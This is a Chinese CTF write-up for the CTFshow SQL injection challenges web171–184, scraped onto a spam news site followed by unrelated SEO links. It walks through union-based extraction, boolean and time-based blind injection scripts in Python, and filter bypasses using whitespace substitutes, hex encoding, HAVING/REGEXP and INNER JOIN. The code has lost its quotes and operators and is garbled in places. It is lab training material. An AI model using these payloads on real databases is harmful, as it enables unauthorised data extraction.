当前位置: 首页 > news >正文

免费淘宝网站建设虚拟主机解压wordpress

免费淘宝网站建设,虚拟主机解压wordpress,做企业网站合同,建设网站需要专业重新来做一遍 争取不看wp 还是看了。。。。 CTFshow sql注入 上篇(web171-220)更新中 - 掘金 【精选】CTFshow-WEB入门-SQL注入(上)_having盲注_bfengj的博客-CSDN博客 web171 基本联合注入 拿到题目我们已经知道了是sql注入 所以我们可以直接开始 第一题 不会难道哪里去…重新来做一遍 争取不看wp 还是看了。。。。 CTFshow sql注入 上篇(web171-220)更新中 - 掘金 【精选】CTFshow-WEB入门-SQL注入(上)_having盲注_bfengj的博客-CSDN博客 web171  基本联合注入 拿到题目我们已经知道了是sql注入 所以我们可以直接开始 第一题 不会难道哪里去 所以我们直接进行注入即可 1 and 12-- 1 and 11-- 实现闭合 -1unionselect1,2,3--%2b 查看字段数-1unionselect1,database(),3--%2b 查看数据库 ctfshow_web-1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema%3ddatabase()--%2b 查看表 ctfshow_user-1unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name%3dctfshow_user--%2b查看字段名 id,username,password-1unionselect1,group_concat(id,username,password),3fromctfshow_user--%2b获取flag这里是bp抓包的格式 不是在页面进行注入的格式 web172  变为两个字段 3 union select 2,3-- 这题修改为两个字段 其他和上面无差别-1unionselect1,group_concat(id,username,password)fromctfshow_user2--%2获取flag web173  没看出区别 3 union select 2,database(),3-- -1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema%3ddatabase()--%2b 查看表 ctfshow_user-1unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name%3dctfshow_user3--%2b查看字段名 id,username,password-1 union select 1,group_concat(id,password),3 from ctfshow_user3-- 获取flag web174 布尔盲注 我们开始写盲注脚本 之前一直写错了 所以我们开始写 import requestsurl http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id # payload 1 and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schemadatabase()),{0},1)){1})-- # payload 1 and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_namectfshow_user4),{0},1)){1})-- payload 1 and (ascii(substr((select group_concat(id,--,username,--,password)from ctfshow_user4 where usernameflag),{0},1)){1})-- result flag for i in range(1,50):for j in range(37,128):payload1 payload.format(i,j)re requests.get(url urlpayload1)# print(re.text)if admin in re.text:result chr(j)print(result) 没有二分法真的很慢的啊。。。 我们研究一下咋写吧 import requestsurl http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id # payload 1 and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schemadatabase()),{0},1)){1})-- # payload 1 and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_namectfshow_user4),{0},1)){1})-- payload 1 and (ascii(substr((select group_concat(id,--,username,--,password)from ctfshow_user4 where usernameflag),{0},1)){1})-- result flag for i in range(1,50):high 128low 32mid (high low )//2while (high low):payload1 payload.format(i,mid)# print(payload1)re requests.get(url urlpayload1)# print(re.text)if admin in re.text:low mid1else:high midmid (highlow)//2if(chr(mid) ):breakresult chr(mid)print(result)# print(result) 起飞咯 确实快了巨多 其实思路很简单就是 如果回显正确 我们就跟进将low设置为mid 其实就是 32 128 80如果正确80 128 然后一步一步进行缩小 如果错误 那么就说明太大了 我们就开始将 high设置为 mid的值 即80 然后需要重新设置mid的值 web175  时间注入 这里我们能够发现 啥回显都没有了 这里什么东西都没得 1 2 3 都没数据 那么这里如何注入呢 我们可以通过 sleep 进行时间盲注 我们先来了解一下 上面的布尔注入 1 and if(ascii(substr((select database()),1,1))1,sleep(2),1)-- 我们可以发现 时间盲注 其实就是在 if中增加了 sleep的值 让如果1 就睡2秒 否则回显1 所以我们可以通过时间的计算来进行获取         import requestsimport timeurl http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id payload 1 and if(ascii(substr((select database()),{0},1)){1},sleep(2),1)-- flag for i in range(1,50):for j in range(98,128):payload1 payload.format(i,j)# print(payload1)start_time time.time()re requests.get(url urlpayload1)stop_time time.time()sub_time stop_time - start_timeif sub_time 1.8:flag chr(j)print(flag)break 这里我们就实现了最简单的时间盲注脚本 然后我们可以开始写二分法的 其实这里的二分法 就是判断条件改为时间即可 import requestsimport timeurl http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id payload 1 and if(ascii(substr((select database()),{0},1)){1},sleep(2),1)-- flag for i in range(1,50):high 128low 32mid (highlow)//2while (highmid):payload1 payload.format(i,mid)# print(payload1)start_time time.time()re requests.get(url urlpayload1)stop_time time.time()sub_time stop_time - start_timeif sub_time 1.8:low mid1else:high midmid (highlow)//2if (chr(mid) ):breakflag chr(mid)print(flag) 这里我们能够发现 其实都没有怎么变化 只是判断条件改变了 所以其实二分法只需要学会一种即可 然后通过判断条件的改变 就可以写出二分法的时间注入 然后我们更新一下二分法时间注入 import requestsimport timeurl http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id # payload 1 and if(ascii(substr((select database()),{0},1)){1},sleep(2),1)-- # payload 1 and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schemadatabase()),{0},1)){1},sleep(2),1)-- # payload 1 and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_namectfshow_user5),{0},1)){1},sleep(2),1)-- payload 1 and if(ascii(substr((select group_concat(id,--,username,--,password)from ctfshow_user5 where usernameflag),{0},1)){1},sleep(2),1)-- flag for i in range(1,50):high 128low 32mid (highlow)//2while (highmid):payload1 payload.format(i,mid)# print(payload1)start_time time.time()re requests.get(url urlpayload1)stop_time time.time()sub_time stop_time - start_timeif sub_time 1.8:low mid1else:high midmid (highlow)//2if (chr(mid) ):breakflag chr(mid)print(flag) 发现不是那么南 只需要你会写盲注的二分法 然后通过修改判断条件即可 web176 大小写绕过 首先通过 order by 进行测试 可以发现是3个字段 但是通过union select 的时候就发现接口错误 说明过了waf 这里我们就可以开始对union select 进行测试了 最简单的测试就是 通过大小写绕过 发现成功回显 说明后端可能是通过正则对union select进行了过滤 所以我们可以猜测 后端可能是这种语句 只对字符串进行匹配 并且不对大小写进行过滤 所以我们就可以开始继续注入了 1 uNIon seLEct 1,group_concat(password),3 from ctfshow_user where usernameflag-- web177 过滤空格绕过 这里我们经过测试 可以发现空格被过滤了 所以这里我们可以通过 %a0 %0a () %09 %0c %0d %0b 并且这里 -- 不能使用 我们使用 # 但是这里我们需要url编码 就是 %23 然后我们就可以进行注入 了 这里也过滤了 union select 但是没有大小写 1/**/Union/**/Select/**/1,2,group_concat(password)from/**/ctfshow_user/**/where/**/usernameflag%23 这里的waf我们猜测看可能是这样的 只过滤了 %20 所以我们可以使用其他的方式绕过 web178 过滤了/**/ 这里和上面一题只是过滤了 /**/所以可以使用上面其他方式进行 1%0aUnion%0aSelect%0a1,2,group_concat(password)from%0actfshow_user%0awhere%0ausernameflag%23 这里过滤也只是多加了内容 解释一下这里的正则 \/ 这里是匹配 \\* 匹配 *然后.*? 就是贪婪匹配 匹配 /*后的任何然后匹配结尾 \* 匹配后面的*\/ 匹配后面的/这样我们就可以匹配到/**/ 如果我们只想匹配/**/只需要修改正则即可 \/\*\*\/ web179 过滤%0a %09等大多数符号 这道题有个非预期吧 直接通过 1||1%23就可以输出了 这题还是过滤了很多符号 然后我们需要通过 %0c来绕过 1%0cUnion%0cSelect%0c1,2,group_concat(password)from%0cctfshow_user%0cwhere%0cusernameflag%23 这里的过滤应该就是讲一些符号加入匹配了 首先通过url编码获取到值 然后进行匹配 web180 过滤%23 使用闭合绕过 发现过滤了 %23 这里我们只能使用闭合了 使用 or 1 即可 -1%0cUnion%0cSelect%0c5,group_concat(password),3%0c%0cfrom%0cctfshow_user%0cwhere%0cusernameflag%0cor10 web181  通过 and or 优先级获取flag 开始回显waf了 过滤的有点多啊 function waf($str){return preg_match(/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i, $str);} 这里一时间没有思路看了wp发现 这里是可以通过 优先级进行绕过的 and or 所以and会先执行1 and 0 0但是 1 and 0 or 1 就会变为 0 or 1 1所以我们可以根据这个特性绕过 所以这里我们可以通过 -1||usernameflag 来获取flag web182  通过id查询 获取flag 和上题类似 一样的payload 直接打 失败了 过滤了flag 所以我们在之前爆破可以知道 id为 26 0||id26 看了文章 还有一个时间盲注的payload -1or(id26)and(if(ascii(mid(password,1,1))1,sleep(2),1))and1来解释一下0 or 1 and 1 and 1 10 or 1 and 0 and 1 0这里就可以实现盲注 但是没有但是在测试的 时候 发现-1or(id26)and(if(ascii(mid(password,1,1))1,1,0))and1 这个也可以直接爆出flag这里要注意 if(表达式,1,0) 这里的1 是如果表达式真 就输出 1 否则输出 0所以我们前面 1 这个时候就可以输出flag但是好多此一举啊 因为我们可以直接获取flag 何必盲注呢 但是使用二分法 也是很快就是了 web183 通过闭合from 构造where 实现like匹配内容 这里说实在话 我刚刚进来 没看懂这道题目干嘛 POST 一个参数 用来查找返回的数量 返回的内容在这里 那我们要怎么实现注入呢 我们还是看看sql的语句 $sql select count(pass) from .$_POST[tableName].;;这里我们可以发现正常 我们的查询是where 后面进行注入 但是这里没有where啊没有where ? 这里我们不就可控吗首先通过前面 我们知道了表 是 ctfshow_user 发现回显了 所以这里是我们获取内容的地方 然后我们知道 这个语句中 不存在 where 那么我们写入where不就好了 $sql select count(pass) from .$_POST[tableName].;;修改select count(pass) from ctfshow_user where pass ctf%;这种语句是否可行呢当然不可以 毕竟存在过滤 我们开始绕过 空格使用 括号 return preg_match(/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\|or|\x7c|select|and|flag|into/i, $str); 使用 like(ctfshow_user)where(pass)like(ctf%)这里ctf%是匹配ctf开头的内容 但是这里不行(ctfshow_user)where(pass)likectf%需要这样 payload出来了 那么这么繁琐的内容 肯定就交给脚本咯 import stringimport requestsurl http://742f4f44-a736-424b-aa24-09424fc4210f.challenge.ctf.show/select-waf.phppayload (ctfshow_user)where(pass)likectfshow{0} flag for i in range(0,100):for j in 0123456789abcdefghijklmnopqrstuvwxyz-{}:payload1 payload.format(flagj)%data {tableName:payload1}re requests.post(urlurl,datadata)if $user_count 1; in re.text:flag jprint(ctfshowflag) 这里就可以获取到flag 是通过like的匹配这里 这里我们最好解读一下正则 return preg_match(/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\|or|\x7c|select|and|flag|into/i, $str); 首先就是过滤了很多符号防止绕过空格的过滤 其次过滤了 # 防止注释 or select 也全部被过滤 并且增加了 /i 防止大小写绕过 web184 过滤了where 通过下面的方法绕过 首先解读正则 return preg_match(/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\|or|\x7c|select|and|flag|into|where|\x26|\|\|union|\|sleep|benchmark/i, 和上面差不多 并且过滤了 where  union 单引号 双引号 内联 sleep 过滤更加严格了 但是放出了空格 我们如何读取内容呢 这里我们可以使用两个方式 regexp和like 这里我们先补充知识点 $sql select count(*) from .$_POST[tableName].;;这里我们可以看见前面使用了 count聚合函数所以我们后面可以使用 group by having 这种用法group by 允许我们按照某个列进行分组having 允许对分组的数据再进行数据的筛选所以我们可以使用group by pass having pass like 或者group by pass having pass regexp 但是这里有个问题 就是 单引号双引号被过滤了 我们无法实现 怎么办呢 我们可以转换为 hex 进行执行 这里为什么可以直接通过regexp然后调用16进制 我在本地测试的时候发现 需要通过 SELECT COUNT(*) FROM admin GROUP BY name HAVING HEX(name) LIKE 61% 这种语句才可以通过十六进制查询 这里为什么可以我还不是很明白 我们可以开始写payload ctfshow_user group by pass having pass like (0x63746673686f777b%) 然后我就了然了 这里语句是错误的 因为我们如果使用十六进制拼接% 会报错 所以我们将 % 也转变为hex 就是25 HAVING 配合 like ctfshow_user group by pass having pass like (0x63746673686f777b25) 这个时候 就可以回显正确的值了 这个时候我们只需要通过编写脚本即可 import requests import string url http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.phppaylaod ctfshow_user group by pass having pass like 0x63746673686f777b{0}uuid string.ascii_lowercasestring.digits-{} def str_to_hex(str):return .join([hex(ord(c)).replace(0x,) for c in str]) flag for i in range(1,100):for j in uuid:payload1 paylaod.format(str_to_hex(flagj%))data {tableName:payload1}re requests.post(urlurl,datadata)if $user_count 1; in re.text:flagjprint(ctfshow{flag) REGEXP 这里有一个问题就是需要25即 %来补充 那我们可不可以不需要25来代表后面还有内容呢 regexp即可 ctfshow_user group by pass having pass like (0x63746673686f777b25)这里的代码 我们修改为ctfshow_user group by pass having pass regexp(0x63746673686f777b)即可 那我们就再修改一下脚本看看能不能实现   import requests import string url http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.phppaylaod ctfshow_user group by pass having pass regexp(0x63746673686f777b{0}uuid string.ascii_lowercasestring.digits-{} def str_to_hex(str):return .join([hex(ord(c)).replace(0x,) for c in str]) flag for i in range(1,100):for j in uuid:payload1 paylaod.format(str_to_hex(flagj)))# print(payload1)data {tableName:payload1}re requests.post(urlurl,datadata)if $user_count 1; in re.text:flagjprint(ctfshow{flag) 发现依旧获取了flag 然后这里我好像看wp的时候还发现了一种方式 这里是对where 过滤 提供了新的思路 INNER join on 这道题目最难受的地方其实就是where被过滤了 我们只要绕过这个就可以了 这里我们可以通过INNER join on 来代替where 内连接 ctfshow_user a inner join ctfshow_user b on b.pass like (0x...) 这里其实就是 SQL INNER JOIN 关键字 | 菜鸟教程 这个讲的很清楚了 我们这里就是为了通过代替where 然后返回数值 简单来说就是两个表 当内连接后 将on后面条件符合的内容返回 所以这里我们修改也可以跑出来 这里需要注意修改 $user_count 22; 然后我们就可以获取到flag了 import requests import string url http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.phppaylaod ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}uuid string.ascii_lowercasestring.digits-{} def str_to_hex(str):return .join([hex(ord(c)).replace(0x,) for c in str]) flag for i in range(1,100):for j in uuid:payload1 paylaod.format(str_to_hex(flagj%))# print(payload1)data {tableName:payload1}re requests.post(urlurl,datadata)if $user_count 22; in re.text:flagjprint(ctfshow{flag)break web185
http://www.huolong8.cn/news/107828/

相关文章:

  • 免费域名网站查询网站的主要内容
  • 成都金牛网站建设公司wordpress 头部模板
  • 查询网站服务商wordpress 修改密码
  • 湖南建站网站一般网站海报做一张多久
  • 衡阳哪有做网站推广的工厂生产管理系统
  • 做汽配的 哪一个网站比较好宁波育才建设教育集团网站
  • 滦南县建设局网站网站开发能进入无形资产吗
  • 专业做网站建设公司排名昆明网站建设SEO公司
  • 小红书网站开发形式选择广州房地产网站建设
  • 医疗门户网站管理系统钢构网架公司
  • 建站宝盒下载市场营销方案
  • php 调试网站北京网站建设专家
  • 弹出全屏视频网站怎么做wordpress网站主机名
  • 做简图的网站手机怎么打开自己做的网站
  • 0基础建站网站搭建教程泰国网站建设
  • 凡科可以做淘客网站吗合肥中科大网站开发
  • 网站建设无锡海之睿怎么做局域网网站
  • 太原站还建综合楼建设工程合同性质上属于实践合同
  • 做网站租什么服务器商城网站的设计风格
  • 织梦网站logo更改北京代理记账公司
  • 做网站网站代理犯法吗佛山优化网站方法
  • 网站优化公司大家好宣传推广图片
  • 合肥企业网站建设公司建筑a证
  • 如何建立自己的超市网站软文平台有哪些
  • 重庆做网站及公众号公司福田企业网站优化最好的方法
  • 乐清公司网站建设电子商务网站架构
  • 免费自己制作网站如何在百度做自己公司的网站
  • 怎么看网站的访问量做公司网站流程
  • 淄博网站建设推广乐达建立网站的链接结构有哪几种形式?简述其各自的优缺点
  • 商城网站建设方案流程海口澄迈县建设局网站